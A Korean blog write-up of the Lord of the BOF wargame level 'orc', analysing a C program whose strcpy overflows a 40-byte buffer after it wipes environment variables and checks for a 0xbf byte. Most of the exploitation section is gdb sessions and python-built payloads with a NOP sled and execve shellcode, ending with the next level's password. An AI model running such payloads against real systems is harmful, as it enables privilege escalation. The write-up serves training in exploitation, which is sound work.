1. intro
2. code 및 분석
2.1 C code
/*
The Lord of the BOF : The Fellowship of the BOF
- orc
- egghunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
2.3. 분석
2.3.1. assembler code (중요 부분)
이번 문제는 코드가 좀 길다;;;
크게 보면 두가지인데, 아래와 같이 memset을 통한 환경변수 초기화 부분과
0x8048530 <main+48>: mov 0xffffffd4(%ebp),%eax
0x8048533 <main+51>: lea 0x0(,%eax,4),%edx
0x804853a <main+58>: mov 0x8049750,%eax
0x804853f <main+63>: cmpl $0x0,(%eax,%edx,1)
0x8048543 <main+67>: jne 0x8048547 <main+71>
0x8048545 <main+69>: jmp 0x8048587 <main+135>
0x8048547 <main+71>: mov 0xffffffd4(%ebp),%eax
0x804854a <main+74>: lea 0x0(,%eax,4),%edx
0x8048551 <main+81>: mov 0x8049750,%eax
0x8048556 <main+86>: mov (%eax,%edx,1),%edx
0x8048559 <main+89>: push %edx
0x804855a <main+90>: call 0x80483f0 <strlen>
0x804855f <main+95>: add $0x4,%esp
0x8048562 <main+98>: mov %eax,%eax
0x8048564 <main+100>: push %eax
0x8048565 <main+101>: push $0x0
0x8048567 <main+103>: mov 0xffffffd4(%ebp),%eax
0x804856a <main+106>: lea 0x0(,%eax,4),%edx
0x8048571 <main+113>: mov 0x8049750,%eax
0x8048576 <main+118>: mov (%eax,%edx,1),%edx
0x8048579 <main+121>: push %edx
0x804857a <main+122>: call 0x8048430 <memset>
0x804857f <main+127>: add $0xc,%esp
0x8048582 <main+130>: incl 0xffffffd4(%ebp)
0x8048585 <main+133>: jmp 0x8048530 <main+48>
그리고 아래와 같이 만일 edx의 값이 0xbf 라면 main + 176으로 jmp하고 아니라면 "stack is still your friend."라는 문자열 출력 후 종료하는 부분.
0x8048587 <main+135>: mov 0xc(%ebp),%eax
0x804858a <main+138>: add $0x4,%eax
0x804858d <main+141>: mov (%eax),%edx
0x804858f <main+143>: add $0x2f,%edx
0x8048592 <main+146>: cmpb $0xbf,(%edx)
0x8048595 <main+149>: je 0x80485b0 <main+176>
0x8048597 <main+151>: push $0x804863c
0x804859c <main+156>: call 0x8048410 <printf>
0x80485a1 <main+161>: add $0x4,%esp
0x80485a4 <main+164>: push $0x0
0x80485a6 <main+166>: call 0x8048420 <exit>
...
(gdb) x/s 0x804863c
0x804863c <_IO_stdin_used+16>: "stack is still your friend.\n"
마지막으로 strcpy가 일어나는 부분이다.
0x80485b0 <main+176>: mov 0xc(%ebp),%eax
0x80485b3 <main+179>: add $0x4,%eax
0x80485b6 <main+182>: mov (%eax),%edx
0x80485b8 <main+184>: push %edx
0x80485b9 <main+185>: lea 0xffffffd8(%ebp),%eax
0x80485bc <main+188>: push %eax
0x80485bd <main+189>: call 0x8048440 <strcpy>
0x80485c2 <main+194>: add $0x8,%esp
0x80485c5 <main+197>: lea 0xffffffd8(%ebp),%eax
0x80485c8 <main+200>: push %eax
0x80485c9 <main+201>: push $0x8048659
0x80485ce <main+206>: call 0x8048410 <printf>
0x80485d3 <main+211>: add $0x8,%esp
0x80485d6 <main+214>: leave
0x80485d7 <main+215>: ret
3. 취약점 확인 및 공격 준비
3.1 취약점
strcpy 함수를 통해 argv[1]을 ebp - 0x28 위치에 복사하며, 그 크기를 확인하지 않기에 main 함수의 ret address 변조가 가능하다.
다만 환경변수 영역은 초기화 되기에 사용 불가능하고, edx 값이 0xbf로 시작하여야한다.
3.2 공격 준비
memset을 통한 환경변수 초기화는 환경변수를 사용하지 못한다는 것이다.
이에 앞선 몇번의 공격과 같이 그냥 ret address 이후의 주소로 return하면 될 것이다.
다만 edx 값이 0xbf와 같은지 확인하는 부분인데,
edx의 값은 ebp + 0xc + 4의 값에 0x2f를 더한 위치의 값이다.
(gdb) r a
Starting program: /home/goblin/ora a
/bin/bash: /home/gremlin/.bashrc: Permission denied
Breakpoint 4, 0x8048592 in main ()
(gdb) x/x $ebp + 0xc
0xbffffb04: 0xbffffb44
(gdb) x/x 0xbffffb44 + 4
0xbffffb48: 0xbffffc4d
(gdb) x/x 0xbffffc4d
0xbffffc4d: 0x00000061
(gdb) x/x 0xbffffc4d + 0x2f
0xbffffc7c: 0x00000000
(gdb) x/x $edx
0xbffffc7c: 0x00000000
그러므로 argv[1]의 0x30 위치의 값은 0xbf가 되어야한다.
이를 다시 한번 생각해보면 buffer 변수의 크기가 40 bytes 즉 0x28 이기 때문에 sfp 및 ret address의 8 bytes를 고려하면 ret address 시작 주소는 0xbf 즉 stack 영역이 되어야 한다는 것이다.
이를 토대로 전체적인 페이로드를 작성해보면 아래와 같다.
dummy (0x28) + sfp (0x4) + ret (0xbf으로 시작. 0x4) + shellcode
대략적인 페이로드 작성 후 buffer의 모양을 보았더니 아래와 같았고 이를 토대로 ret address를 선정하였다.
(gdb) b *main+215
Breakpoint 1 at 0x80485d7
(gdb) r `python -c 'print "\x90"*0x28 + "aaaa" + "\xbf\xbf\xbf\xbf" + "\x90"*0x20 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`
Starting program: /home/goblin/ora `python -c 'print "\x90"*0x28 + "aaaa" + "\xbf\xbf\xbf\xbf" + "\x90"*0x20 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`
/bin/bash: /home/gremlin/.bashrc: Permission denied
aaaa¿¿¿¿1hpassh/my-h/bin
㱍
Breakpoint 1, 0x80485d7 in main ()
(gdb) x/40x $esp
0xbffffa8c: 0xbfbfbfbf 0x90909090 0x90909090 0x90909090
0xbffffa9c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffaac: 0x90909090 0xc289c031 0x6850c189 0x73736170
0xbffffabc: 0x796d2f68 0x622f682d 0xe3896e69 0x80cd0bb0
0xbffffacc: 0x40013e00 0x00000002 0xbffffbd1 0xbffffbe2
0xbffffadc: 0x00000000 0xbffffc4f 0xbffffc71 0xbffffc7b
0xbffffaec: 0xbffffc89 0xbffffca8 0xbffffcb7 0xbffffcd0
0xbffffafc: 0xbffffced 0xbffffd0c 0xbffffd17 0xbffffd25
0xbffffb0c: 0xbffffd68 0xbffffd7a 0xbffffd8f 0xbffffd9f
0xbffffb1c: 0xbffffdab 0xbffffdca 0xbffffde4 0xbffffdef
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xbfbfbfbf in ?? ()
(gdb)
4. exploit
마찬가지로 한번에 되지는 않았다.
core 파일 확인 후 재 도전.
[goblin@localhost goblin]$ ./ora `python -c 'print "\x90"*0x28 + "aaaa" + "\x9c\xfa\xff\xbf" + "\x90"*0x20 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`
aaaa1hpassh/my-h/bin
㱍
Segmentation fault (core dumped)
[goblin@localhost goblin]$ gdb -c core
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
Core was generated by `./ora aaaa'.
Program terminated with signal 11, Segmentation fault.
#0 0xbffffaad in ?? ()
(gdb) x/40x 0xbffffaad
0xbffffaad: 0x90bffffa 0x90909090 0x90909090 0x90909090
0xbffffabd: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffacd: 0x31909090 0x89c289c0 0x706850c1 0x68737361
0xbffffadd: 0x2d796d2f 0x69622f68 0xb0e3896e 0x0080cd0b
0xbffffaed: 0x0240013e 0xf1000000 0xf7bffffb 0x00bffffb
0xbffffafd: 0x64000000 0x75bffffc 0x8ebffffc 0xadbffffc
0xbffffb0d: 0xcfbffffc 0xdbbffffc 0x9ebffffc 0xbdbffffe
0xbffffb1d: 0xd9bffffe 0xeebffffe 0x0cbffffe 0x82bfffff
0xbffffb2d: 0x31000002 0x40bfffff 0x48bfffff 0x52bfffff
0xbffffb3d: 0x62bfffff 0x70bfffff 0x7ebfffff 0x8fbfffff
[goblin@localhost goblin]$ ./ora `python -c 'print "\x90"*0x28 + "aaaa" + "\xbd\xfa\xff\xbf" + "\x90"*0x20 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`
aaaa½1hpassh/my-h/bin
㱍
euid = 503
hackers proof
[goblin@localhost goblin]$ ./orc `python -c 'print "\x90"*0x28 + "aaaa" + "\xbd\xfa\xff\xbf" + "\x90"*0x20 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`
aaaa½1hpassh/my-h/bin
㱍
euid = 504
cantata
'Wargame > Hackerchool' 카테고리의 다른 글
[lob] wolfman -> darkelf (0) | 2022.09.13 |
---|---|
[lob] orc -> wolfman (0) | 2022.09.12 |
[lob] cobolt -> goblin (0) | 2022.09.12 |
[lob] gremlin -> cobolt (0) | 2022.09.12 |
[lob] gate -> gremlin (0) | 2022.09.08 |